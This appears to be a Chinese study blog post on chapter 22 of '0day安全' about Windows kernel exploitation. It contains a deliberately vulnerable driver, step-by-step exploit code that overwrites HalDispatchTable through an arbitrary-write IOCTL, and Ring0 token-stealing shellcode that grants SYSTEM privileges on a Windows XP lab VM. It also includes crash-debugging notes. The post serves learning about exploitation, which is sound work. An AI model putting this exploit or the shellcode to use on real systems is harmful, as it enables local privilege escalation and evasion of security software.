0day安全 | Chapter 22 内核漏洞利用技术

启程

接下来的内核实验可以和之前做过的一系列Linux Rootkit实验(Linux Rootkit 实验 0000 LKM 的基础编写&隐藏)结合起来,思考不同平台之间的异同,从而对内核漏洞有一个更全面的认识。

内核漏洞利用实验:exploitme.sys

基于上一章的helloworld,我们编写一个存在漏洞的内核驱动,并基于此来研究内核漏洞的利用。

#include <ntddk.h>
#define DEVICE_NAME L"\\Device\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMe"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(\
    FILE_DEVICE_EXPLOIT_ME, 0x800, METHOD_NEITHER, FILE_WRITE_ACCESS)

PDEVICE_OBJECT g_DeviceObject;

// 驱动卸载函数
VOID DriverUnload(IN PDRIVER_OBJECT  driverObject )
{
    UNICODE_STRING symLinkName; 
	KdPrint(("DriverUnload: 88!\n"));
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	IoDeleteSymbolicLink(&symLinkName);
	IoDeleteDevice( g_DeviceObject ); 
}
// 驱动派遣例程函数
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{ 
    PIO_STACK_LOCATION pIrpStack;
    PVOID Type3InputBuffer; // 用户态输入
    PVOID UserBuffer; // 用户态输出
    ULONG inputBufferLength;
    ULONG outputBufferLength;
    ULONG ioControlCode;
    PIO_STATUS_BLOCK IoStatus;
    NTSTATUS ntStatus = STATUS_SUCCESS;
    
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	UserBuffer = pIrp->UserBuffer;
	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; 
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; 
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	IoStatus = &pIrp->IoStatus;
	IoStatus->Status = STATUS_SUCCESS; // Assume success
	IoStatus->Information = 0; // Assume nothing returned

	switch(ioControlCode){
	case IOCTL_EXPLOIT_ME: 
		if ( inputBufferLength >= 4 && outputBufferLength >= 4 ){
			*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
			IoStatus->Information = sizeof(ULONG);
		}
		break;
	}
	
	IoStatus->Status = ntStatus; 
	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	return ntStatus;
}
// 驱动入口函数
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  driverObject, IN PUNICODE_STRING  registryPath )
{ 
	NTSTATUS       ntStatus;
	UNICODE_STRING devName;
	UNICODE_STRING symLinkName;
	int i = 0; 
	// 打印hello world
	KdPrint(("DriverEntry: Exploit me driver demo!\n"));
	// 创建设备
	RtlInitUnicodeString(&devName,DEVICE_NAME);
	ntStatus = IoCreateDevice( driverObject,
		0,
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&g_DeviceObject );
	if (!NT_SUCCESS(ntStatus))
	{
    	IoDeleteDevice(g_DeviceObject);
		return ntStatus;  
	}
	// 设置卸载函数
	driverObject->DriverUnload = DriverUnload;
	// 创建符号链接
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
	if (!NT_SUCCESS(ntStatus)) 
	{
		IoDeleteDevice( g_DeviceObject );
		return ntStatus;
	}
	// 设置该驱动对象的派遣例程函数
	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		driverObject->MajorFunction[i] = DrvDispatch;
	}
	
	return STATUS_SUCCESS;
}

sources和Makefile与上一章类似,不再赘述。build得到exploitme.sys

上述代码中DrvDispatch函数只处理了一个IoControlCode:IOCTL_EXPLOIT_ME。做的处理也很简单,就是将Ring3输入缓冲区的第一个ULONG数据写入Ring3输出缓冲区的第一个ULONG位置处。输入、输出地址均由Ring3指定,但读写却是在Ring0完成。因此Ring3可以将输出缓冲区地址指定为内核高端地址(这种操作在以往的用户态漏洞中是无法完成的,但是这里的写入执行者是内核,内核本身具有至高无上的权限),这相当于“任意地址写任意数据”类型的内核漏洞。很多驱动程序漏洞最终都可以归纳为这种漏洞类型。

内核漏洞利用思路

在实战上述漏洞之前,我们先看一下内核漏洞的利用思路。

在上一章我们提到过内核漏洞可以分类如下:

  • 远程拒绝服务
  • 本地拒绝服务
  • 远程任意代码执行
  • 本地权限提升

其中拒绝服务的漏洞利用比较简单,而RCE和提权的漏洞利用较为复杂。如今,远程代码执行的内核漏洞已经很少,更多的是本地权限提升类型的漏洞。驱动程序编译器默认都开启GS,直接溢出比较困难。能够直接篡改内核数据或执行Ring0 Shellcode的漏洞更受青睐。

常见的内核漏洞利用思路如下:

而为了达到以上目的,需要漏洞能够导致以下缺陷之一:

  • 任意地址写任意数据
  • 任意地址写固定数据
  • 固定地址写任意数据

这样来看,所学的东西慢慢地就会串联起来、融会贯通。

内核漏洞利用方法

上一节提到内核漏洞利用方法主要有两种:

  • 篡改内核数据
  • 执行Ring0 Shellcode

不推荐第一种,因为很多内核数据是不可以直接被改写的(CR0寄存器的WP位为1)。如果要改写,需要通过Ring0 Shellcode,将CR0寄存器的WP位置置0,然后改写,再将其置1。这一点在之前的“Linux Rootkit 实验 0001 基于修改sys_call_table的系统调用挂钩”中也有用到。这正是不同平台下内核exploit相同的地方,因为我们讨论的操作系统基于同一种CPU架构。

执行Ring0 Shellcode的主体必须是Ring0程序。这种利用方法是这样的:设法修改内核API导出表(如SSDT、HalDispatchTable等),将内核API函数指针修改为事先准备好的Shellcode地址,然后在本进程中调用这个内核API。最好选择劫持那些冷门内核API函数,否则一旦别的进程也调用这个API,由于Shellcode只保存在当前进程的Ring3内存地址中,别的进程无法访问到,将导致内存访问错误或内核崩溃。

我们对第一节的exploitme.sys漏洞利用的方法如下:在当前进程的0x0地址处申请内存,并存放Ring0 Shellcode代码,然后利用漏洞将HalDispatchTable表第一个函数HalQuerySystemInformation入口地址篡改为0,最后调用该函数的上层封装函数NtWueryIntervalProfile,从而执行Ring0 Shellcode。其流程如下:

在这里介绍一下HalDispatchTable表(部分参考[Kernel Exploitation] 7: Arbitrary Overwrite (Win7 x86)Driver write-what-where vulnerability):

该表是hal.dll导出的一个函数表。
hal.dll stands for Hardware Abstraction Layer, basically an interface to interacting with hardware without worrying about hardware-specific details. This allows Windows to be portable.
HalDispatchTable is a table containing function pointers to HAL routines.

HalDispatchTable的结构如下:

typedef struct {
	ULONG Version;
	pHalQuerySystemInformation HalQuerySystemInformation;
	pHalSetSystemInformation HalSetSystemInformation;
	pHalQueryBusSlots HalQueryBusSlots;
	ULONG Spare1;
	pHalExamineMBR HalExamineMBR;
#if 1 /* Not present in WDK 7600 */
	pHalIoAssignDriveLetters HalIoAssignDriveLetters;
#endif
	pHalIoReadPartitionTable HalIoReadPartitionTable;
	pHalIoSetPartitionInformation HalIoSetPartitionInformation;
	pHalIoWritePartitionTable HalIoWritePartitionTable;
	pHalHandlerForBus HalReferenceHandlerForBus;
	pHalReferenceBusHandler HalReferenceBusHandler;
	pHalReferenceBusHandler HalDereferenceBusHandler;
	pHalInitPnpDriver HalInitPnpDriver;
	pHalInitPowerManagement HalInitPowerManagement;
	pHalGetDmaAdapter HalGetDmaAdapter;
	pHalGetInterruptTranslator HalGetInterruptTranslator;
	pHalStartMirroring HalStartMirroring;
	pHalEndMirroring HalEndMirroring;
	pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
	pHalEndOfBoot HalEndOfBoot;
	pHalMirrorVerify HalMirrorVerify;
	pHalGetAcpiTable HalGetCachedAcpiTable;
	pHalSetPciErrorHandlerCallback  HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
	pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;

可以看到,它的第二个成员就是HalQuerySystemInformation函数指针,即我们要写入Shellcode地址的地方。

现在的问题在于,上层封装函数NtWueryIntervalProfileHalQuerySystemInformation的关系是怎样的。参考ReactOS的源码我们可以看到:

NTSTATUS
NTAPI
NtQueryIntervalProfile(IN KPROFILE_SOURCE ProfileSource,
                       OUT PULONG Interval)
{
    KPROCESSOR_MODE PreviousMode = ExGetPreviousMode();
    ULONG ReturnInterval;
    NTSTATUS Status = STATUS_SUCCESS;
    PAGED_CODE();
    // ...
    /* Query the Interval */
    ReturnInterval = (ULONG)KeQueryIntervalProfile(ProfileSource);
    // ...
    /* Return Success */
    return Status;
}

参考KPROFILE_SOURCE可知,输入参数ProfileSourceKPROFILE_SOURCE枚举型变量。继续参考ReactOS的源码可以看到KeQueryIntervalProfile函数的定义:

ULONG
NTAPI
KeQueryIntervalProfile(IN KPROFILE_SOURCE ProfileSource)
{
    HAL_PROFILE_SOURCE_INFORMATION ProfileSourceInformation;
    ULONG ReturnLength, Interval;
    NTSTATUS Status;

    /* Check what profile this is */
    if (ProfileSource == ProfileTime)
    {
        /* Return the time interval */
        Interval = KiProfileTimeInterval;
    }
    else if (ProfileSource == ProfileAlignmentFixup)
    {
        /* Return the alignment interval */
        Interval = KiProfileAlignmentFixupInterval;
    }
    else
    {
        /* Request it from HAL */
        ProfileSourceInformation.Source = ProfileSource;
        Status = HalQuerySystemInformation(HalProfileSourceInformation,
                                           sizeof(HAL_PROFILE_SOURCE_INFORMATION),
                                           &ProfileSourceInformation,
                                           &ReturnLength);
        // ...
    }

    /* Return the interval we got */
    return Interval;
}

可以发现,只有当输入参数ProfileSource既非ProfileTime也非ProfileAlignmentFixupHalQuerySystemInformation才会被调用。

至此,我们明白了怎样触发Shellcode。但是Shellcode具体该做些什么呢?我们对之前的漏洞利用思路做进一步诠释:

  • 提权到SYSTEM指修改当前进程的token为System进程token,这样当前进程便具备系统最高权限
  • 恢复内核Hook/Inline Hook指通过恢复被各种安全软件hook掉的内核API来突破其防御体系
  • 添加调用门/中断门/人物门/陷阱门是为了在后续代码中自由出入Ring0和Ring3

内核漏洞利用实战

万事俱备。现在我们来完成整个内核漏洞利用过程。具体的实践流程如下:

  1. 获取HalDispatchTable地址x
  2. 编写Ring0 Shellcode
  3. 在0x0处申请内存,写入Ring0 Shellcode
  4. 利用漏洞向地址x + 4处写入0x0
  5. 调用NtQueryIntervalProfile,Ring0 Shellcode

建议在做实验之前先对虚拟机进行一次快照。

本实验的源文件及其依赖如下:

exploit.cpp
exploit.h
ntapi.h
ntdll.lib

后面仅仅在分步说明中引用exploit.cpp中的源码片段。完整项目代码可以参考《0day安全》附带包。

1 获取HalDispatchTable地址

思路是先得到内核模块基址,将其与HalDispatchTable在内核模块中的偏移相加。

	// 获取内核模块列表数据长度到ReturnLength
	NtStatus = NtQuerySystemInformation(
		SystemModuleInformation,
		ModuleInformation,
		ReturnLength,
		&ReturnLength);
	if(NtStatus != STATUS_INFO_LENGTH_MISMATCH){
		printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus); 
		goto ret;
	}

	// 申请内存
	ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
	ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
	if(ModuleInformation == NULL){
		printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength); 
		goto ret;
	}

	// 获取内核模块列表数据
	NtStatus = NtQuerySystemInformation(
		SystemModuleInformation,
		ModuleInformation,
		ReturnLength,
		NULL);
	if(NtStatus != STATUS_SUCCESS){
		printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus); 
		goto ret;
	}
				
	// 保存内核第一个模块(即nt模块)基址和名称,并打印
	ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
	RtlMoveMemory(
		ImageName,
		(PVOID)(ModuleInformation->Module[0].ImageName +
		ModuleInformation->Module[0].PathLength),
		KERNEL_NAME_LENGTH);
	printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase,	ImageName);
	
	// 获取内核模块名称字符串的Unicode字符串
	RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);

	// 加载内核模块到本进程空间
	NtStatus = LdrLoadDll(
		NULL,                // DllPath
		&DllCharacteristics, // DllCharacteristics
		&DllName,            // DllName
		&MappedBase);        // DllHandle
	if(NtStatus){
		printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}

	// 获取内核模块在本进程空间中导出名称HalDispatchTable的地址
	RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
	NtStatus = LdrGetProcedureAddress(
		(PVOID)MappedBase,          // DllHandle
		&ProcedureName,             // ProcedureName
		0,                          // ProcedureNumber OPTIONAL
		(PVOID*)&HalDispatchTable); // ProcedureAddress
	if(NtStatus){
		printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}

	// 计算实际的HalDispatchTable内核地址
	HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
	HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);

	// HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
	xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));

	// 打印HalDispatchTable内核地址和xHalQuerySystemInformation值
	printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
		HalDispatchTable,
		xHalQuerySystemInformation);

2 编写Ring0 Shellcode

下面的代码可以被看作是一个Ring0 Shellcode的模板。写保护开关是固定套路,这一点我们在前面已经提到。[content]部分是可替换的,我们在此放置不同功能的Shellcode。下面的例子中Shellcode功能是将当前进程的访问令牌替换为System进程的访问令牌,从而将当前进程的访问权限提升为SYSTEM权限。我们增设了一个全局变量g_isRing0ShellcodeCalled,并在Shellcode执行成功后将其置1,是为了在后面的代码中检验Shellcode是否执行成功。

int g_isRing0ShellcodeCalled = 0;
// Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(    
						ULONG InformationClass,
						ULONG BufferSize,
						PVOID Buffer,
						PULONG ReturnedLength)
{
	// 关闭写保护
	__asm
	{
		cli;
		mov eax, cr0;
		// mov g_uCr0,eax; 
		and eax,0xFFFEFFFF; 
		mov cr0, eax; 
	}
	// [content] start
	__asm
	{
		mov eax, 0xffdff124 // eax = KPCR (not 3G Mode)
		mov eax, [eax] // eax = PETHREAD of current thread
		mov esi, [eax + 0x220] // eax = PEPROCESS of the process, to which the current thread belongs
		mov eax, esi
searchXp:
		mov eax, [eax + 0x88]
		sub eax, 0x88 // eax = PEPROCESS of the next process in process-list
		mov edx, [eax + 0x84] // edx = PID
		cmp edx, 0x4 // use PID to find the System process
		jne searchXp
		mov eax, [eax + 0xc8] // eax = token of SYSTEM process
		mov [esi + 0xc8], eax // change token of current process
	}
	// [content] end
	// 开启写保护
	__asm
	{
		sti;
		mov eax, cr0;
		or eax,0x00010000; 
		mov cr0, eax; 
	}
	g_isRing0ShellcodeCalled = 1;
	return 0;
}

3 写入Ring0 Shellcode

	// 在本进程空间申请0地址内存
	ShellCodeAddress = (PVOID)sizeof(ULONG);
	NtStatus = NtAllocateVirtualMemory(
		NtCurrentProcess(),      // ProcessHandle
		&ShellCodeAddress,       // BaseAddress
		0,                       // ZeroBits
		&ShellCodeSize,          // AllocationSize
		MEM_RESERVE | 
		MEM_COMMIT |
		MEM_TOP_DOWN,            // AllocationType
		PAGE_EXECUTE_READWRITE); // Protect
	if(NtStatus){
		printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}
	printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); 
	// 复制Ring0ShellCode到0地址内存中
	RtlMoveMemory(
		ShellCodeAddress,
		(PVOID)Ring0ShellCode,
		ShellCodeSize);

4 替换HalQuerySystemInformation指针

	// 设备名称的Unicode字符串
	RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
	// 打开ExploitMe设备
	// ...
	NtStatus = NtCreateFile(
		&DeviceHandle,     // FileHandle
		FILE_READ_DATA |
		FILE_WRITE_DATA,   // DesiredAccess
		&ObjectAttributes, // ObjectAttributes
		&IoStatusBlock,    // IoStatusBlock
		NULL,              // AllocationSize OPTIONAL
		0,                 // FileAttributes
		FILE_SHARE_READ |
		FILE_SHARE_WRITE, // ShareAccess
		FILE_OPEN_IF,     // CreateDisposition
		0,                // CreateOptions
		NULL,             // EaBuffer OPTIONAL
		0);               // EaLength
	if(NtStatus){
		printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}
	// 利用漏洞将HalQuerySystemInformation函数地址改为0
	InputData = 0;
	NtStatus = NtDeviceIoControlFile(
		DeviceHandle,         // FileHandle
		NULL,                 // Event
		NULL,                 // ApcRoutine
		NULL,                 // ApcContext
		&IoStatusBlock,       // IoStatusBlock
		IOCTL_METHOD_NEITHER, // IoControlCode
		&InputData,           // InputBuffer
		BUFFER_LENGTH,        // InputBufferLength
		xHalQuerySystemInformation, // OutputBuffer
		BUFFER_LENGTH);       // OutBufferLength
	if(NtStatus){
		printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	} 

5 触发Ring0 Shellcode

	// 触发漏洞
	NtStatus = NtQueryIntervalProfile(
		ProfileTotalIssues, // Source
		NULL);              // Interval
	if(NtStatus){
		printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}
	printf("NtQueryIntervalProfile succeed!\n");
	if(g_isRing0ShellcodeCalled == 1)
		printf("Shellcode executed.\n");

补充说明

在本节实验的过程中遇到一些问题,同时书上还有一些关于Ring0 Shellcode的拓展知识,一并列举如下。

问题:蓝屏

在搞定一切后,编译运行,蓝屏重启。经过搜索发现,这位同学也遇到了蓝屏问题。之前原书作者提到过蓝屏分析方法,这里刚好实践一下。

重启后,系统提示我

于是我用WinDbg打开dmp转储文件,执行!analyze -v分析,主要的内容如下:

FAULTING_MODULE: 804d8000 nt
DEBUG_FLR_IMAGE_TIMESTAMP:  0
 302d33b5 
CURRENT_IRQL:  ff
FAULTING_IP: 
+77ec
0000002a ??              ???

CUSTOMER_CRASH_COUNT:  1

DEFAULT_BUCKET_ID:  DRIVER_FAULT
BUGCHECK_STR:  0xD1
LAST_CONTROL_TRANSFER:  from 00000000 to 0000002a
STACK_TEXT:  
ee5becf4 00000000 ee5bed20 8065dea8 00000001 0x2a
STACK_COMMAND:  kb

可以发现似乎是在执行Shellcode时出现了问题,因为0000002a正是Shellcode中的地址。于是我回过头检查Shellcode,发现原来是mov edx, [eax + 0x84]被我误打成了mov edx, [edx + 0x84]。改正后,问题解决。

测试及问题:访问令牌在父子进程间的传递

[求助]XP R0shellcode执行后不成功看到四年前有人提出token替换不成功的问题。下面是我对此的实验结果:

执行Shellcode前,可以看到cmd和exploit.exe均为Administrator权限:

第一次测试:exploit.exe没有创建子进程,但是我在代码最后添加了getchar()使得进程不会立即退出。此时只有exploit.exe本身是SYSTEM权限:

第二次测试:修改代码,使exploit.exe通过system("cmd.exe")创建子进程,此时可以看到它本身恢复成Administrator权限,但是它的子进程和子子进程(system()函数本身算作一个cmd)均获得了SYSTEM权限,且之后手动输入cmd打开的shell也均为SYSTEM权限:

那么为何exploit.exe会在短暂地升为SYSTEM权限后又降为Administrator权限?

拓展知识:通用内核Shellcode

参考编写通用内核shellcode

为了提高兼容性,就要尽量避免使用硬编码的方式。由ring3 shellcode的编程经验可
知。使用API可以可靠的执行需要的操作。而API的名称则相对固定。

提权操作将system进程的Token赋予当前执行进程,我们需要做以下的操作:

1.找到system进程EPROCESS。ring0 可以直接访问EPROCESS结构,而ntoskrnl.exe导出
的PsInitialSystemProcess 是一个指向system进程的EPROCESS的指针。我们只要从
ntoskrnl.exe获取导出变量PsInitialSystemProcess即可获得system进程的EPROCESS。

2.获得当前进程的EPROCESS。ntoskrnl.exe提供了IoThreadToProcess(xp,2k3的
PsGetThreadProcess为同一函数)可以查找线程所属的进程,而当前执行线程可由KPCR+124h
获得,通过当前执行线程调用IoThreadToProcess就可以获得当前进程的EPROCESS。鉴于对
于不同版本的NT系统,KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]
获取当前线程的ETHREAD指针。

3.替换当前进程的Token为system的Token。由于Token在EPROCESS中的偏移不固定,需
要先找出这个偏移值,然后再替换。ntoskrnl.exe导出PsReferencePrimaryToken函数包含
了从EPROCESS取Token的操作,我们需要把这个偏移量先从这个函数中挖出来。

如果需要靠shellcode自己获取API的地址,就需要shellcode加上获取API地址的代码和
获取ntoskrnl.exe内核基址的代码。由于PE文件格式是固定的,ring3级的API引擎在ring0
下同样适用,我们可以通过API名称的编码,利用API引擎获取对应函数地址。ntoskrnl.exe
内核基址可以通过获取其中的函数后搜索PE头获得。在系统的中断描述符表中,我们可以找
到不少ntoskrnl.exe中断处理函数地址。利用sidt指令,我们可以获取指向系统中断描述符
表的指针,进一步获得ntoskrnl.exe中的函数。IDT指针同样保存在KPCR结构中,更为简单的
方法是直接从0FFDFF038h (KPCR+38h)内存中读取。

拓展知识:其他Shellcode

  • 恢复内核Hook/Inline Hook

以恢复SSDT Hook为例。思路是在Ring3中获得SSDT中原始函数地址,然后在Ring0中恢复。具体过程可以参考《0day安全》第二版第573页。

  • 添加调用门/中断门/任务门/陷阱门

关于这四种门,可以参考

具体添加过程可以参考《0day安全》第二版第574页。

总结

这章的内容依赖太多的背景知识,这些知识是需要去积累的,否则就是只知其然,不知其所以然。其实学习很像DFS和BFS算法,最后都能抵达终点,只是过程不同。

在查找资料的过程中发现几篇不错的文章:

Per Aspera Ad Astra